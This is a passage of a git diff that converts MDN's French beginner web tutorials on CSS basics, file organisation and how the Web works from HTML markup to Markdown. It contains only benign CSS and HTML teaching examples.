intéressante qu'on a utilisé ici est `text-shadow`. Cette propriété permet d'applique une ombre au contenu de l'élément. La déclaration utilise quatre valeurs : -<ul> - <li>La première correspond au <strong>décalage horizontal</strong>, exprimé en pixels, de l'ombre par rapport au texte. Autrement dit, plus la valeur est élevée, plus l'ombre porte loin. Une valeur négative déplace l'ombre vers la gauche.</li> - <li>La deuxième valeur correspond au <strong>décalage vertical</strong> entre l'ombre et le texte. Autrement dit, plus la valeur est élevée, plus l'ombre va vers le bas. Une valeur négative déplace l'ombre vers le haut.</li> - <li>La troisième valeur correspond au <strong>rayon de flou</strong> pour l'ombre, exprimé en pixel. Autrement dit, plus la valeur est élevée, plus l'ombre sera floue.</li> - <li>La quatrième valeur définit la couleur utilisée pour l'ombre.</li> -</ul> +- La première correspond au **décalage horizontal**, exprimé en pixels, de l'ombre par rapport au texte. Autrement dit, plus la valeur est élevée, plus l'ombre porte loin. Une valeur négative déplace l'ombre vers la gauche. +- La deuxième valeur correspond au **décalage vertical** entre l'ombre et le texte. Autrement dit, plus la valeur est élevée, plus l'ombre va vers le bas. Une valeur négative déplace l'ombre vers le haut. +- La troisième valeur correspond au **rayon de flou** pour l'ombre, exprimé en pixel. Autrement dit, plus la valeur est élevée, plus l'ombre sera floue. +- La quatrième valeur définit la couleur utilisée pour l'ombre. -<p>Là aussi, n'hésitez pas à expérimenter et à essayer différentes valeurs pour voir ce que ça donne.</p> +Là aussi, n'hésitez pas à expérimenter et à essayer différentes valeurs pour voir ce que ça donne. -<h3 id="Centrer_l'image">Centrer l'image</h3> +### Centrer l'image -<pre class="brush: css">img { +```css +img { display: block; margin: 0 auto; -}</pre> +} +``` -<p>Dernière chose : on va centrer l'image pour que ce soit plus joli. On pourrait utiliser <code>margin: 0 auto</code>, comme on l'a fait avant, mais on a besoin d'autre chose. L'élément <code>body</code> est un <strong>élément de bloc</strong>, cela signifie qu'il prend de l'espace et qu'on peut lui appliquer des marges et d'autres valeur pour l'espacement. En revanche, les images sont des éléments <strong><em>inline</em></strong> (ce qu'on pourrait traduire par « en ligne »), ce qui signifie qu'on ne peut pas leur appliquer ces valeurs d'espacement. Pour pouvoir appliquer des marges sur l'image comme pour un bloc, on utilise <code>display: block;</code> pour que l'image se comporte comme un élément de bloc.</p> +Dernière chose : on va centrer l'image pour que ce soit plus joli. On pourrait utiliser `margin: 0 auto`, comme on l'a fait avant, mais on a besoin d'autre chose. L'élément `body` est un **élément de bloc**, cela signifie qu'il prend de l'espace et qu'on peut lui appliquer des marges et d'autres valeur pour l'espacement. En revanche, les images sont des éléments **_inline_** (ce qu'on pourrait traduire par « en ligne »), ce qui signifie qu'on ne peut pas leur appliquer ces valeurs d'espacement. Pour pouvoir appliquer des marges sur l'image comme pour un bloc, on utilise `display: block;` pour que l'image se comporte comme un élément de bloc. -<div class="note"> -<p><strong>Note :</strong> C'est tout à fait normal si vous ne comprenez pas complètement <code>display: block;</code> et les différences entre bloc et inline. Ça viendra plus tard, une fois que vous aurez plus utilisé CSS. Les différentes valeurs qu'on peut utiliser pour <code>display</code> sont expliquées sur <a href="/fr/docs/Web/CSS/display">la page de référence de la propriété <code>display</code></a>.</p> -</div> +> **Note :** C'est tout à fait normal si vous ne comprenez pas complètement `display: block;` et les différences entre bloc et inline. Ça viendra plus tard, une fois que vous aurez plus utilisé CSS. Les différentes valeurs qu'on peut utiliser pour `display` sont expliquées sur [la page de référence de la propriété `display`](/fr/docs/Web/CSS/display). -<h2 id="Conclusion">Conclusion</h2> +## Conclusion -<p>Si vous avez suivi les différentes étapes de cet article, vous devriez obtenir une page qui ressemble à celle-ci (vous pouvez aussi voir <a href="http://mdn.github.io/beginner-html-site-styled/">notre version finale ici</a>) :</p> +Si vous avez suivi les différentes étapes de cet article, vous devriez obtenir une page qui ressemble à celle-ci (vous pouvez aussi voir [notre version finale ici](http://mdn.github.io/beginner-html-site-styled/)) : -<p><img alt="a mozilla logo, centered, and a header and paragraphs. It now looks nicely styled, with a blue background for the whole page and orange background for the centered main content strip." src="website-screenshot-final.png"></p> + -<p>Si vous êtes bloqué·e quelque part, vous pouvez toujours comparer votre travail avec <a href="https://github.com/mdn/beginner-html-site-styled/blob/gh-pages/styles/style.css">le code final de cet exemple disponible sur GitHub</a>.</p> +Si vous êtes bloqué·e quelque part, vous pouvez toujours comparer votre travail avec [le code final de cet exemple disponible sur GitHub](https://github.com/mdn/beginner-html-site-styled/blob/gh-pages/styles/style.css). -<p>Dans cet article, nous n'avons fait qu'effleurer les bases de CSS. Pour continuer et en apprendre plus, vous pouvez vous rendre sur la page <a href="/fr/Apprendre/CSS">Apprendre CSS</a>.</p> +Dans cet article, nous n'avons fait qu'effleurer les bases de CSS. Pour continuer et en apprendre plus, vous pouvez vous rendre sur la page [Apprendre CSS](/fr/Apprendre/CSS). -<p>{{PreviousMenuNext("Apprendre/Commencer_avec_le_web/Les_bases_HTML", "Apprendre/Commencer_avec_le_web/Les_bases_JavaScript","Apprendre/Commencer_avec_le_web")}}</p> +{{PreviousMenuNext("Apprendre/Commencer_avec_le_web/Les_bases_HTML", "Apprendre/Commencer_avec_le_web/Les_bases_JavaScript","Apprendre/Commencer_avec_le_web")}} -<h2 id="Dans_ce_module">Dans ce module</h2> +## Dans ce module -<ul> - <li><a href="/fr/Apprendre/Commencer_avec_le_web/Installation_outils_de_base">Installer les logiciels de base</a></li> - <li><a href="/fr/Apprendre/Commencer_avec_le_web/Quel_aspect_pour_votre_site">Quel aspect pour votre site Web ?</a></li> - <li><a href="/fr/Apprendre/Commencer_avec_le_web/Gérer_les_fichiers">Gérer les fichiers</a></li> - <li><a href="/fr/docs/Apprendre/Commencer_avec_le_web/Les_bases_HTML">Bases du HTML</a></li> - <li><a href="/fr/docs/Apprendre/Commencer_avec_le_web/Les_bases_CSS">Bases des CSS</a></li> - <li><a href="/fr/docs/Apprendre/Commencer_avec_le_web/Les_bases_JavaScript">Bases du JavaScript</a></li> - <li><a href="/fr/Apprendre/Commencer_avec_le_web/Publier_votre_site_web">Publier votre site Web</a></li> - <li><a href="/fr/Apprendre/Commencer_avec_le_web/Le_fonctionnement_du_Web">Comment fonctionne le Web</a></li> -</ul> +- [Installer les logiciels de base](/fr/Apprendre/Commencer_avec_le_web/Installation_outils_de_base) +- [Quel aspect pour votre site Web ?](/fr/Apprendre/Commencer_avec_le_web/Quel_aspect_pour_votre_site) +- [Gérer les fichiers](/fr/Apprendre/Commencer_avec_le_web/Gérer_les_fichiers) +- [Bases du HTML](/fr/docs/Apprendre/Commencer_avec_le_web/Les_bases_HTML) +- [Bases des CSS](/fr/docs/Apprendre/Commencer_avec_le_web/Les_bases_CSS) +- [Bases du JavaScript](/fr/docs/Apprendre/Commencer_avec_le_web/Les_bases_JavaScript) +- [Publier votre site Web](/fr/Apprendre/Commencer_avec_le_web/Publier_votre_site_web) +- [Comment fonctionne le Web](/fr/Apprendre/Commencer_avec_le_web/Le_fonctionnement_du_Web) diff --git a/files/fr/learn/getting_started_with_the_web/dealing_with_files/index.md b/files/fr/learn/getting_started_with_the_web/dealing_with_files/index.md index b405b8f078..9d836ccf25 100644 --- a/files/fr/learn/getting_started_with_the_web/dealing_with_files/index.md +++ b/files/fr/learn/getting_started_with_the_web/dealing_with_files/index.md @@ -12,101 +12,88 @@ tags: translation_of: Learn/Getting_started_with_the_web/Dealing_with_files original_slug: Apprendre/Commencer_avec_le_web/Gérer_les_fichiers --- -<div>{{LearnSidebar}}<br> -{{PreviousMenuNext("Apprendre/Commencer_avec_le_web/Quel_aspect_pour_votre_site", "Apprendre/Commencer_avec_le_web/Les_bases_HTML","Apprendre/Commencer_avec_le_web")}}</div> +{{LearnSidebar}} +{{PreviousMenuNext("Apprendre/Commencer_avec_le_web/Quel_aspect_pour_votre_site", "Apprendre/Commencer_avec_le_web/Les_bases_HTML","Apprendre/Commencer_avec_le_web")}} -<p>Un site web est composé de nombreux fichiers : contenu textuel, code, feuilles de styles, contenus média, etc. Lors de la construction d'un site web, ces fichiers doivent être organisés et rangés sur votre ordinateur afin qu'ils puissent interagir les uns avec les autres et que le contenu s'affiche correctement. Une fois que c'est fait, vous pourrez alors <a href="/fr/Apprendre/Commencer_avec_le_web/Publier_votre_site_web">téléverser ces fichiers sur un serveur</a>. <em>Gérer les fichiers</em> aborde certains problèmes auxquels vous devez faire attention pour mettre en place une organisation judicieuse des fichiers de votre site web.</p> +Un site web est composé de nombreux fichiers : contenu textuel, code, feuilles de styles, contenus média, etc. Lors de la construction d'un site web, ces fichiers doivent être organisés et rangés sur votre ordinateur afin qu'ils puissent interagir les uns avec les autres et que le contenu s'affiche correctement. Une fois que c'est fait, vous pourrez alors [téléverser ces fichiers sur un serveur](/fr/Apprendre/Commencer_avec_le_web/Publier_votre_site_web). _Gérer les fichiers_ aborde certains problèmes auxquels vous devez faire attention pour mettre en place une organisation judicieuse des fichiers de votre site web. -<h2 id="Où_placer_votre_site_web_sur_votre_ordinateur">Où placer votre site web sur votre ordinateur ?</h2> +## Où placer votre site web sur votre ordinateur ? -<p>Lorsque vous travaillez sur votre site web sur votre propre ordinateur, tous les fichiers liés au site devraient être présents dans un dossier dont le contenu reflète la structure des fichiers sur le serveur. Ce dossier peut être n'importe où sur votre ordinateur, l'idéal étant qu'il soit simple à retrouver, par exemple sur votre Bureau ou dans votre dossier personnel, voire à la racine du disque dur.</p> +Lorsque vous travaillez sur votre site web sur votre propre ordinateur, tous les fichiers liés au site devraient être présents dans un dossier dont le contenu reflète la structure des fichiers sur le serveur. Ce dossier peut être n'importe où sur votre ordinateur, l'idéal étant qu'il soit simple à retrouver, par exemple sur votre Bureau ou dans votre dossier personnel, voire à la racine du disque dur. -<ol> - <li>Sélectionnez un endroit où stocker vos projets de sites web. Là, créez un nouveau dossier appelé <code>projets-web</code> (ou similaire). C'est l'endroit où vivront vos divers projets de sites web.</li> - <li>À l'intérieur de ce premier dossier, créez un autre dossier pour y enregistrer votre premier site web. Vous pouvez l'appeler <code>site-test</code> (ou plus imaginatif).</li> -</ol> +1. Sélectionnez un endroit où stocker vos projets de sites web. Là, créez un nouveau dossier appelé `projets-web` (ou similaire). C'est l'endroit où vivront vos divers projets de sites web. +2. À l'intérieur de ce premier dossier, créez un autre dossier pour y enregistrer votre premier site web. Vous pouvez l'appeler `site-test` (ou plus imaginatif). -<h2 id="Un_rapide_aparté_sur_la_casse_et_l'espacement">Un rapide aparté sur la casse et l'espacement</h2> +## Un rapide aparté sur la casse et l'espacement -<p>Vous remarquerez tout au long de cet article que nous vous demandons de nommer les dossiers et les fichiers totalement en minuscules et sans espace. Voici la raison :</p> +Vous remarquerez tout au long de cet article que nous vous demandons de nommer les dossiers et les fichiers totalement en minuscules et sans espace. Voici la raison : -<ol> - <li>Nombre d'ordinateurs, notamment des serveurs web, sont sensibles à la casse. Par exemple, si vous placez une image pour votre site à l'emplacement <code>site-test/MonImage.jpg</code> et que, dans un autre fichier, vous faites référence à <code>site-test/monimage.jpg</code>, cela peut ne pas fonctionner.</li> - <li>Les navigateurs, les serveurs web et les différents langages de programmation ne gèrent pas tous les espaces de la même façon. Par exemple, si vous utilisez un espace dans le nom du fichier, certains systèmes considèreront que le nom du fichier correspond à celui de deux fichiers. Certains serveurs remplaceront les espaces dans le nom du fichier par « %20 » (le code de caractère pour représenter les espaces dans les URI), ce qui cassera tous vos liens. Il est préférable de séparer les mots avec des tirets, plutôt que des soulignés : <code> mon-fichier.html</code> vs. <code>mon_fichier.html</code>.</li> -</ol> +1. Nombre d'ordinateurs, notamment des serveurs web, sont sensibles à la casse. Par exemple, si vous placez une image pour votre site à l'emplacement `site-test/MonImage.jpg` et que, dans un autre fichier, vous faites référence à `site-test/monimage.jpg`, cela peut ne pas fonctionner. +2. Les navigateurs, les serveurs web et les différents langages de programmation ne gèrent pas tous les espaces de la même façon. Par exemple, si vous utilisez un espace dans le nom du fichier, certains systèmes considèreront que le nom du fichier correspond à celui de deux fichiers. Certains serveurs remplaceront les espaces dans le nom du fichier par « %20 » (le code de caractère pour représenter les espaces dans les URI), ce qui cassera tous vos liens. Il est préférable de séparer les mots avec des tirets, plutôt que des soulignés : `mon-fichier.html` vs. `mon_fichier.html`. -<p>La réponse la plus simple est d'utiliser le trait d'union (-) pour les noms de fichiers. Le moteur de recherche de Google traite le tiret comme un séparateur de mots, mais n'opère pas de même pour le souligné (_). Pour ces raisons, il est préférable d'écrire les noms des fichiers et dossiers en minuscules sans espaces, les mots étant séparés par des tirets, à moins d'être sûr de ce que vous faites. Cela vous permettra d'éviter certains problèmes en chemin, plus tard.</p> +La réponse la plus simple est d'utiliser le trait d'union (-) pour les noms de fichiers. Le moteur de recherche de Google traite le tiret comme un séparateur de mots, mais n'opère pas de même pour le souligné (\_). Pour ces raisons, il est préférable d'écrire les noms des fichiers et dossiers en minuscules sans espaces, les mots étant séparés par des tirets, à moins d'être sûr de ce que vous faites. Cela vous permettra d'éviter certains problèmes en chemin, plus tard. -<h2 id="Quelle_structure_mettre_en_place_pour_votre_site_web">Quelle structure mettre en place pour votre site web ?</h2> +## Quelle structure mettre en place pour votre site web ? -<p>Cela dit, regardons la structure que le site de test devrait avoir. Les éléments retrouvés quasiment dans tout projet de site web sont un fichier HTML d'index, des dossiers pour les images, les scripts et les feuilles de style. Créons‑les maintenant :</p> +Cela dit, regardons la structure que le site de test devrait avoir. Les éléments retrouvés quasiment dans tout projet de site web sont un fichier HTML d'index, des dossiers pour les images, les scripts et les feuilles de style. Créons‑les maintenant : -<ol> - <li><code><strong>index.html</strong></code> : ce fichier contiendra généralement le contenu de votre page d'accueil, c'est-à-dire le texte et les images que les gens verront lorsqu'ils arriveront sur votre site. Avec votre éditeur de texte, créez un fichier nommé <code>index.html</code> puis enregistrez‑le dans votre dossier <code>site-test</code>.</li> - <li><strong>un dossier<code> images</code></strong> : ce dossier contiendra toutes les images utilisées pour votre site. Créez un dossier nommé <code>images</code> dans votre dossier <code>site-test</code>.</li> - <li><strong>un dossier <code>styles</code> </strong>: ce dossier contiendra le code des CSS utilisé pour la mise en forme du contenu (par exemple pour définir les couleurs à utiliser pour le texte et l'arrière-plan). Créez un dossier nommé <code>styles</code> dans votre dossier <code>site-test</code>.</li> - <li><strong>un dossier <code>scripts</code></strong> : ce dossier contiendra le code JavaScript utilisé pour ajouter des fonctionnalités interactives sur votre site (par exemple, des boutons qui permettent de charger des données lorsqu'on clique dessus). Créez un dossier nommé <code>scripts</code> dans votre dossier <code>site-test</code>.</li> -</ol> +1. **`index.html`** : ce fichier contiendra généralement le contenu de votre page d'accueil, c'est-à-dire le texte et les images que les gens verront lorsqu'ils arriveront sur votre site. Avec votre éditeur de texte, créez un fichier nommé `index.html` puis enregistrez‑le dans votre dossier `site-test`. +2. **un dossier` images`** : ce dossier contiendra toutes les images utilisées pour votre site. Créez un dossier nommé `images` dans votre dossier `site-test`. +3. **un dossier `styles` **: ce dossier contiendra le code des CSS utilisé pour la mise en forme du contenu (par exemple pour définir les couleurs à utiliser pour le texte et l'arrière-plan). Créez un dossier nommé `styles` dans votre dossier `site-test`. +4. **un dossier `scripts`** : ce dossier contiendra le code JavaScript utilisé pour ajouter des fonctionnalités interactives sur votre site (par exemple, des boutons qui permettent de charger des données lorsqu'on clique dessus). Créez un dossier nommé `scripts` dans votre dossier `site-test`. -<div class="note"> -<p><strong>Note :</strong> Sur Windows, vous aurez peut être des problèmes pour voir le nom des fichiers en entier. En effet, Windows possède une option, activée par défaut : <strong>Masquer les extensions pour les types de fichiers connus</strong>. Généralement, il est possible de la désactiver en allant dans l'explorateur de fichiers, en sélectionnant <strong>Options des dossiers...</strong>, en enlevant la coche de <strong>Masquer les extensions pour les types de fichier connus</strong> puis en cliquant sur <strong>OK</strong>. Pour des informations propres à votre version de Windows, recherchez sur le Web !</p> -</div> +> **Note :** Sur Windows, vous aurez peut être des problèmes pour voir le nom des fichiers en entier. En effet, Windows possède une option, activée par défaut : **Masquer les extensions pour les types de fichiers connus**. Généralement, il est possible de la désactiver en allant dans l'explorateur de fichiers, en sélectionnant **Options des dossiers...**, en enlevant la coche de **Masquer les extensions pour les types de fichier connus** puis en cliquant sur **OK**. Pour des informations propres à votre version de Windows, recherchez sur le Web ! -<h2 id="Les_chemins_de_fichiers">Les chemins de fichiers</h2> +## Les chemins de fichiers -<p>Pour que les fichiers puissent converser entre eux, il faut préciser le chemin pour les trouver — en résumé, la route qu'un fichier doit connaître pour situer l'autre fichier. Nous allons illustrer cela avec un peu de HTML dans <code>index.html</code> pour que la page affiche l'image choisie dans l'article « <a href="/fr/Apprendre/Commencer_avec_le_web/Quel_aspect_pour_votre_site">Quel aspect pour votre site web ?</a> ».</p> +Pour que les fichiers puissent converser entre eux, il faut préciser le chemin pour les trouver — en résumé, la route qu'un fichier doit connaître pour situer l'autre fichier. Nous allons illustrer cela avec un peu de HTML dans `index.html` pour que la page affiche l'image choisie dans l'article « [Quel aspect pour votre site web ?](/fr/Apprendre/Commencer_avec_le_web/Quel_aspect_pour_votre_site) ». -<ol> - <li>Copiez l'image précédemment choisie dans votre dossier <code>images</code>.</li> - <li>Ouvrez le fichier <code>index.html</code> et insérez le code suivant exactement comme indiqué. Ne vous préoccupez pas de sa signification pour le moment — nous verrons les structures plus en détail par la suite. - <pre class="brush: html"><!DOCTYPE html> -<html> - <head> - <meta charset="utf-8"> - <title>Ma page de test</title> - </head> - <body> - <img src="" alt="Mon image de test"> - </body> -</html> </pre> - </li> - <li>La ligne qui contient <code><img src="" alt="Mon image de test"></code> correspond au code HTML qui insère une image dans la page. Il faut indiquer au HTML là où l'image se trouve. Cette image est à l'intérieur du dossier <code>images</code> et ce dossier se situe dans le même dossier qu'<code>index.html</code>. Pour parcourir l'arborescence des fichiers depuis <code>index.html</code> jusqu'à l'image, le chemin à utiliser est <code>images/votre‑fichier‑image</code>. Par exemple, si l'image est nommée <code>firefox‑icon.png</code>, le chemin sera <code>images/firefox-icon.png</code>.</li> - <li>Insérez le chemin vers le fichier image dans le code HTML, entre les guillemets dans <code>src=""</code>.</li> - <li>Sauvegardez votre fichier HTML puis chargez la page dans votre navigateur (il suffit de double-cliquer sur le fichier). Vous devriez obtenir une nouvelle page web affichant l'image !</li> -</ol> +1. Copiez l'image précédemment choisie dans votre dossier `images`. +2. Ouvrez le fichier `index.html` et insérez le code suivant exactement comme indiqué. Ne vous préoccupez pas de sa signification pour le moment — nous verrons les structures plus en détail par la suite. -<p><img alt="A screenshot of our basic website showing just the firefox logo - a flaming fox wrapping the world" src="website-screenshot.png"></p> + ```html + <!DOCTYPE html> + <html> + <head> + <meta charset="utf-8"> + <title>Ma page de test</title> + </head> + <body> + <img src="" alt="Mon image de test"> + </body> + </html> + ``` -<p>Quelques règles générales à propos des chemins de fichier :</p> +3. La ligne qui contient `<img src="" alt="Mon image de test">` correspond au code HTML qui insère une image dans la page. Il faut indiquer au HTML là où l'image se trouve. Cette image est à l'intérieur du dossier `images` et ce dossier se situe dans le même dossier qu'`index.html`. Pour parcourir l'arborescence des fichiers depuis `index.html` jusqu'à l'image, le chemin à utiliser est `images/votre‑fichier‑image`. Par exemple, si l'image est nommée `firefox‑icon.png`, le chemin sera `images/firefox-icon.png`. +4. Insérez le chemin vers le fichier image dans le code HTML, entre les guillemets dans `src=""`. +5. Sauvegardez votre fichier HTML puis chargez la page dans votre navigateur (il suffit de double-cliquer sur le fichier). Vous devriez obtenir une nouvelle page web affichant l'image ! -<ul> - <li>Pour utiliser un fichier qui est dans le même répertoire que le fichier HTML, il suffit d'utiliser le nom du fichier pour le chemin (par exemple <code>mon-image.jpg</code>).</li> - <li>Pour faire référence à un fichier dans un sous‑répertoire, on écrira le nom du répertoire, suivi d'une barre oblique (<em>/</em>) suivi du nom du fichier. Par exemple : <code>mon-sous-repertoire/mon-image.jpg</code>.</li> - <li>Pour faire référence à un fichier qui se situe dans le répertoire <strong>parent</strong> par rapport au fichier HTML, il faut écrire deux points (..). Par exemple, si votre fichier <code>index.html</code> se situe dans un sous-dossier de <code>site-test</code> et que <code>mon-image.jpg</code> se situe à l'intérieur de <code>site-test</code>, vous pouvez faire référence à votre image <code>mon-image.jpg</code> depuis <code>index.html</code> en écrivant <code>../mon-image.jpg</code>.</li> - <li>Ces différentes règles peuvent être combinées autant que nécessaire : par exemple <code>../sous-dossier/autre-sous-dossier/mon-image.jpg</code>.</li> -</ul> + -<p>Pour le moment, c'est tout ce qu'il y a à savoir.</p> +Quelques règles générales à propos des chemins de fichier : -<div class="note"> -<p><strong>Note :</strong> Le système de fichiers Windows utilise des barres obliques inversées (<em>backslash</em> : « \ ») et non des barres obliques (<em>slash</em> : « / »), par exemple <code>C:\windows</code>. Cela n'intervient pas en HTML — même si vous développez votre site sur Windows, vous devez toujours utiliser des barres obliques (« / ») dans votre code..</p> -</div> +- Pour utiliser un fichier qui est dans le même répertoire que le fichier HTML, il suffit d'utiliser le nom du fichier pour le chemin (par exemple `mon-image.jpg`). +- Pour faire référence à un fichier dans un sous‑répertoire, on écrira le nom du répertoire, suivi d'une barre oblique (_/_) suivi du nom du fichier. Par exemple : `mon-sous-repertoire/mon-image.jpg`. +- Pour faire référence à un fichier qui se situe dans le répertoire **parent** par rapport au fichier HTML, il faut écrire deux points (..). Par exemple, si votre fichier `index.html` se situe dans un sous-dossier de `site-test` et que `mon-image.jpg` se situe à l'intérieur de `site-test`, vous pouvez faire référence à votre image `mon-image.jpg` depuis `index.html` en écrivant `../mon-image.jpg`. +- Ces différentes règles peuvent être combinées autant que nécessaire : par exemple `../sous-dossier/autre-sous-dossier/mon-image.jpg`. -<h2 id="Autre_chose">Autre chose ?</h2> +Pour le moment, c'est tout ce qu'il y a à savoir. -<p>C'est tout ce qu'il y a à faire pour le moment en ce qui concerne les fichiers. Votre arborescence de fichiers devrait ressembler à cela :</p> +> **Note :** Le système de fichiers Windows utilise des barres obliques inversées (_backslash_ : « \ ») et non des barres obliques (_slash_ : « / »), par exemple `C:\windows`. Cela n'intervient pas en HTML — même si vous développez votre site sur Windows, vous devez toujours utiliser des barres obliques (« / ») dans votre code.. -<p><img alt="A file structure in mac os x finder, showing an images folder with an image in, empty scripts and styles folders, and an index.html file" src="file-structure.png">{{PreviousMenuNext("Apprendre/Commencer_avec_le_web/Quel_aspect_pour_votre_site", "Apprendre/Commencer_avec_le_web/Les_bases_HTML","Apprendre/Commencer_avec_le_web")}}</p> +## Autre chose ? -<h2 id="Dans_ce_module">Dans ce module</h2> +C'est tout ce qu'il y a à faire pour le moment en ce qui concerne les fichiers. Votre arborescence de fichiers devrait ressembler à cela : -<ul> - <li><a href="/fr/Apprendre/Commencer_avec_le_web/Installation_outils_de_base">Installer les logiciels de base</a></li> - <li><a href="/fr/Apprendre/Commencer_avec_le_web/Quel_aspect_pour_votre_site">Quel aspect pour votre site Web ?</a></li> - <li><a href="/fr/Apprendre/Commencer_avec_le_web/Gérer_les_fichiers">Gérer les fichiers</a></li> - <li><a href="/fr/docs/Apprendre/Commencer_avec_le_web/Les_bases_HTML">Bases du HTML</a></li> - <li><a href="/fr/docs/Apprendre/Commencer_avec_le_web/Les_bases_CSS">Bases des CSS</a></li> - <li><a href="/fr/docs/Apprendre/Commencer_avec_le_web/Les_bases_JavaScript">Bases du JavaScript</a></li> - <li><a href="/fr/Apprendre/Commencer_avec_le_web/Publier_votre_site_web">Publier votre site Web</a></li> - <li><a href="/fr/Apprendre/Commencer_avec_le_web/Le_fonctionnement_du_Web">Comment fonctionne le Web</a></li> -</ul> +{{PreviousMenuNext("Apprendre/Commencer_avec_le_web/Quel_aspect_pour_votre_site", "Apprendre/Commencer_avec_le_web/Les_bases_HTML","Apprendre/Commencer_avec_le_web")}} + +## Dans ce module + +- [Installer les logiciels de base](/fr/Apprendre/Commencer_avec_le_web/Installation_outils_de_base) +- [Quel aspect pour votre site Web ?](/fr/Apprendre/Commencer_avec_le_web/Quel_aspect_pour_votre_site) +- [Gérer les fichiers](/fr/Apprendre/Commencer_avec_le_web/Gérer_les_fichiers) +- [Bases du HTML](/fr/docs/Apprendre/Commencer_avec_le_web/Les_bases_HTML) +- [Bases des CSS](/fr/docs/Apprendre/Commencer_avec_le_web/Les_bases_CSS) +- [Bases du JavaScript](/fr/docs/Apprendre/Commencer_avec_le_web/Les_bases_JavaScript) +- [Publier votre site Web](/fr/Apprendre/Commencer_avec_le_web/Publier_votre_site_web) +- [Comment fonctionne le Web](/fr/Apprendre/Commencer_avec_le_web/Le_fonctionnement_du_Web) diff --git a/files/fr/learn/getting_started_with_the_web/how_the_web_works/index.md b/files/fr/learn/getting_started_with_the_web/how_the_web_works/index.md index 0a0cf668b6..3182b6cd73 100644 --- a/files/fr/learn/getting_started_with_the_web/how_the_web_works/index.md +++ b/files/fr/learn/getting_started_with_the_web/how_the_web_works/index.md @@ -15,96 +15,84 @@ tags: translation_of: Learn/Getting_started_with_the_web/How_the_Web_works original_slug: Apprendre/Commencer_avec_le_web/Le_fonctionnement_du_Web --- -<div>{{LearnSidebar}}<br> -{{PreviousMenu("Apprendre/Commencer_avec_le_web/Publier_votre_site_web","Apprendre/Commencer_avec_le_web")}}</div> +{{LearnSidebar}} +{{PreviousMenu("Apprendre/Commencer_avec_le_web/Publier_votre_site_web","Apprendre/Commencer_avec_le_web")}} -<p>Cet article illustre, de façon simplifiée, ce qui se passe quand une page web s'affiche dans un navigateur, sur votre ordinateur ou votre téléphone.</p> +Cet article illustre, de façon simplifiée, ce qui se passe quand une page web s'affiche dans un navigateur, sur votre ordinateur ou votre téléphone. -<p>Ces éléments théoriques ne sont pas strictement nécessaires pour commencer à faire du développement web dans un premier temps. Cependant, ils seront plus qu'utiles pour mieux comprendre comment le Web fonctionne en arrière-plan.</p> +Ces éléments théoriques ne sont pas strictement nécessaires pour commencer à faire du développement web dans un premier temps. Cependant, ils seront plus qu'utiles pour mieux comprendre comment le Web fonctionne en arrière-plan. -<h2 id="Des_clients_et_des_serveurs">Des clients et des serveurs</h2> +## Des clients et des serveurs -<p>Les ordinateurs qui se connectent au Web sont appelés des <strong>clients </strong>et des <strong>serveurs</strong>. Voici un diagramme simplifié qui illustre comment ils interagissent :</p> +Les ordinateurs qui se connectent au Web sont appelés des **clients** et des **serveurs**. Voici un diagramme simplifié qui illustre comment ils interagissent : -<p><img alt="" src="Client-server.jpg"></p> + -<ul> - <li>Les clients correspondent aux appareils des utilisateurs connectés sur Internet (par exemple, votre ordinateur connecté par Wi-Fi ou votre téléphone connecté sur le réseau mobile) et aux logiciels d'accès au web (par exemple, les navigateurs comme Firefox ou Chrome).</li> - <li>Les serveurs sont des ordinateurs qui stockent des pages web, des sites ou des applications. Lorsqu'un appareil « client » souhaite accéder à une page web, une copie de la page est téléchargée depuis le serveur vers le client, la machine utilisée affiche alors le contenu dans le navigateur web de l'utilisateur.</li> -</ul> +- Les clients correspondent aux appareils des utilisateurs connectés sur Internet (par exemple, votre ordinateur connecté par Wi-Fi ou votre téléphone connecté sur le réseau mobile) et aux logiciels d'accès au web (par exemple, les navigateurs comme Firefox ou Chrome). +- Les serveurs sont des ordinateurs qui stockent des pages web, des sites ou des applications. Lorsqu'un appareil « client » souhaite accéder à une page web, une copie de la page est téléchargée depuis le serveur vers le client, la machine utilisée affiche alors le contenu dans le navigateur web de l'utilisateur. -<h2 id="Les_autres_composants_du_Web">Les autres composants du Web</h2> +## Les autres composants du Web -<p>Le client et le serveur ne sont pas les seuls éléments qui interviennent. Il y a beaucoup d'autres composants que nous allons décrire dans la suite de cet article.</p> +Le client et le serveur ne sont pas les seuls éléments qui interviennent. Il y a beaucoup d'autres composants que nous allons décrire dans la suite de cet article. -<p>Faisons un parallèle entre le Web et une rue. D'un côté de la rue, il y a une maison qui correspond au client. De l'autre côté, un magasin correspondant au serveur, et dans lequel vous souhaitez acheter quelque chose.</p> +Faisons un parallèle entre le Web et une rue. D'un côté de la rue, il y a une maison qui correspond au client. De l'autre côté, un magasin correspondant au serveur, et dans lequel vous souhaitez acheter quelque chose. -<p><img alt="" src="road.jpg"></p> + -<p>En plus du client et du serveur, nous devons aussi mentionner :</p> +En plus du client et du serveur, nous devons aussi mentionner : -<ul> - <li><strong>la connexion Internet </strong>: elle permet l'envoi et la réception de données sur le web. Dans notre comparaison, elle correspond à la rue entre la maison et le magasin.</li> - <li><strong>TCP/IP</strong> : <em><strong>T</strong>ransmission <strong>C</strong>ontrol <strong>P</strong>rotocol / <strong>I</strong>nternet <strong>P</strong>rotocol</em> (en français : protocole de contrôle de transmission et protocole Internet) sont des protocoles définissant comment les données voyagent sur le web. C'est comme les mécanismes de transport qui vous permettent de passer une commande, d'aller au magasin et d'acheter vos marchandises. Dans notre exemple, ce serait une voiture ou un vélo (ou quoi que ce soit d'autre que vous trouveriez).</li> - <li><strong>DNS </strong>: <em><strong>D</strong>omain <strong>N</strong>ame <strong>S</strong>ystem</em> (serveur de noms de domaines) est une sorte d'annuaire pour sites web. Lorsque vous saisissez une adresse dans le navigateur, ce dernier consulte le DNS pour trouver l'adresse réelle du site web avant de la récupérer. Le navigateur a besoin de savoir sur quel serveur le site web est situé pour pouvoir envoyer des requêtes HTTP au bon endroit (voir ci-après). Cela correspond à la recherche de l'adresse du magasin pour pouvoir vous y rendre.</li> - <li><strong>HTTP</strong> : <em><strong>H</strong>yper<strong>T</strong>ext <strong>T</strong>ransfer <strong>P</strong>rotocol</em> (protocole de transfert hypertexte) est un {{Glossary("Protocol" , "protocole")}} d'application définissant le language de communication entre les clients et les serveurs. C'est la langue utilisée pour commander vos produits.</li> - <li><strong>les fichiers composants </strong>: un site web est constitué de divers fichiers. Ils peuvent être vus comme diverses parties des produits achetés au magasin. Ces fichiers peuvent être rangés dans deux catégories : - <ul> - <li><strong>les fichiers de code </strong>: les sites web sont 